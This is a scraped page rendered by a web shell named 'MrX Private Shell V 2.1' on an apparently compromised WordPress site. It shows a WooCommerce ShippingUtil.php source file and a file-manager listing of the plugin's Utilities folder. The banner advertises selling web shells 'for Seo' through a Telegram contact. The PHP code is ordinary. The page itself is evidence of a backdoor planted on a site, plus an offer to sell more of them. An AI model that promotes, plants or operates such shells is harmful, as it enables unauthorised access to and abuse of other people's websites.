__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* ShippingUtil class file.
*/
declare( strict_types = 1 );
namespace Automattic\WooCommerce\Utilities;
/**
* The ShippingUtil class provides utilities for working with shipping and shipping packages.
*/
class ShippingUtil {
/**
* Get the selected shipping rates from the packages.
*
* @param array $packages The packages to get the selected shipping rates from.
* @return \WC_Shipping_Rate[] The selected shipping rates.
*/
public static function get_selected_shipping_rates_from_packages( $packages ) {
return array_filter(
array_map(
function ( $package_id, $package ) {
$selected_rate_id = wc_get_chosen_shipping_method_for_package( $package_id, $package );
$selected_rate = false !== $selected_rate_id && isset( $package['rates'][ $selected_rate_id ] ) ? $package['rates'][ $selected_rate_id ] : null;
return $selected_rate instanceof \WC_Shipping_Rate ? $selected_rate : null;
},
array_keys( $packages ),
array_values( $packages )
)
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ArrayUtil.php | File | 12.99 KB | 0664 |
|
| DiscountsUtil.php | File | 1.1 KB | 0664 |
|
| FeaturesUtil.php | File | 4.23 KB | 0664 |
|
| I18nUtil.php | File | 1.69 KB | 0664 |
|
| LoggingUtil.php | File | 3.18 KB | 0664 |
|
| NumberUtil.php | File | 7.11 KB | 0664 |
|
| OrderUtil.php | File | 9.19 KB | 0664 |
|
| PluginUtil.php | File | 12.99 KB | 0664 |
|
| RestApiUtil.php | File | 5.01 KB | 0664 |
|
| ShippingUtil.php | File | 1020 B | 0664 |
|
| StringUtil.php | File | 5.09 KB | 0664 |
|
| TimeUtil.php | File | 1.16 KB | 0664 |
|